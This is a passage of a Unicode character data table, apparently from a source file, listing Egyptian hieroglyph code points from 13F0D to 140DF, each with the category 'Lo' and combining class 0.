("EGYPTIAN HIEROGLYPH-13F0D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F0E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F0F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F10", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F11", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F12", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F13", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F14", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F15", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F16", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F17", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F18", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F19", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F1A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F1B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F1C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F1D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F1E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F1F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F20", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F21", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F22", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F23", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F24", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F25", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F26", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F27", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F28", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F29", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F2A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F2B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F2C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F2D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F2E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F2F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F30", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F31", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F32", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F33", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F34", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F35", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F36", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F37", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F38", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F39", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F3A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F3B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F3C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F3D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F3E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F3F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F40", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F41", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F42", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F43", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F44", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F45", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F46", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F47", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F48", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F49", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F4A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F4B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F4C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F4D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F4E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F4F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F50", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F51", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F52", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F53", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F54", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F55", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F56", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F57", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F58", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F59", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F5A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F5B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F5C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F5D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F5E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F5F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F60", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F61", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F62", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F63", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F64", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F65", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F66", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F67", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F68", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F69", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F6A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F6B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F6C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F6D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F6E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F6F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F70", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F71", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F72", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F73", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F74", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F75", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F76", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F77", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F78", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F79", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F7A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F7B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F7C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F7D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F7E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F7F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F80", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F81", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F82", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F83", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F84", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F85", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F86", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F87", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F88", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F89", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F8A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F8B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F8C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F8D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F8E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F8F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F90", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F91", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F92", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F93", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F94", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F95", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F96", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F97", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F98", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F99", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F9A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F9B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F9C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F9D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F9E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F9F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FA0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FA1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FA2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FA3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FA4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FA5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FA6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FA7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FA8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FA9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FAA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FAB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FAC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FAD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FAE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FAF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FB0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FB1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FB2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FB3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FB4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FB5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FB6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FB7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FB8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FB9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FBA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FBB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FBC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FBD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FBE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FBF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FC0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FC1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FC2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FC3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FC4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FC5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FC6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FC7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FC8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FC9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FCA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FCB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FCC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FCD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FCE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FCF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FD0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FD1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FD2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FD3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FD4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FD5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FD6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FD7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FD8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FD9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FDA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FDB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FDC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FDD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FDE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FDF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FE0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FE1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FE2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FE3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FE4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FE5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FE6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FE7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FE8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FE9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FEA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FEB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FEC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FED", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FEE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FEF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FF0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FF1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FF2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FF3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FF4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FF5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FF6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FF7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FF8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FF9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FFA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FFB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FFC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FFD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FFE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13FFF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14000", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14001", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14002", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14003", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14004", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14005", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14006", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14007", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14008", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14009", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1400A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1400B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1400C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1400D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1400E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1400F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14010", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14011", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14012", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14013", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14014", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14015", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14016", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14017", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14018", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14019", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1401A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1401B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1401C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1401D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1401E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1401F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14020", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14021", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14022", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14023", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14024", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14025", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14026", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14027", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14028", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14029", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1402A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1402B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1402C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1402D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1402E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1402F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14030", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14031", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14032", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14033", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14034", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14035", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14036", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14037", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14038", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14039", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1403A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1403B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1403C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1403D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1403E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1403F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14040", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14041", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14042", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14043", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14044", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14045", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14046", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14047", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14048", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14049", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1404A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1404B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1404C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1404D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1404E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1404F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14050", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14051", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14052", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14053", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14054", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14055", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14056", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14057", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14058", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14059", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1405A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1405B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1405C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1405D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1405E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1405F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14060", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14061", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14062", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14063", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14064", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14065", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14066", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14067", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14068", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14069", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1406A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1406B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1406C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1406D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1406E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1406F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14070", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14071", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14072", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14073", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14074", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14075", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14076", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14077", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14078", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14079", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1407A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1407B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1407C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1407D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1407E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1407F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14080", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14081", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14082", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14083", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14084", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14085", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14086", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14087", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14088", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14089", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1408A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1408B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1408C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1408D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1408E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1408F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14090", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14091", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14092", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14093", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14094", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14095", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14096", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14097", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14098", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14099", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1409A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1409B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1409C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1409D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1409E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1409F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140A0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140A1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140A2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140A3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140A4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140A5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140A6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140A7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140A8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140A9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140AA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140AB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140AC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140AD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140AE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140AF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140B0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140B1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140B2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140B3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140B4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140B5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140B6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140B7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140B8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140B9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140BA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140BB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140BC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140BD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140BE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140BF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140C0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140C1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140C2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140C3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140C4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140C5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140C6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140C7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140C8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140C9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140CA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140CB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140CC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140CD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140CE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140CF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140D0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140D1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140D2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140D3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140D4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140D5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140D6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140D7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140D8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140D9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140DA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140DB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140DC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140DD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140DE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-140DF", "Lo", 0),
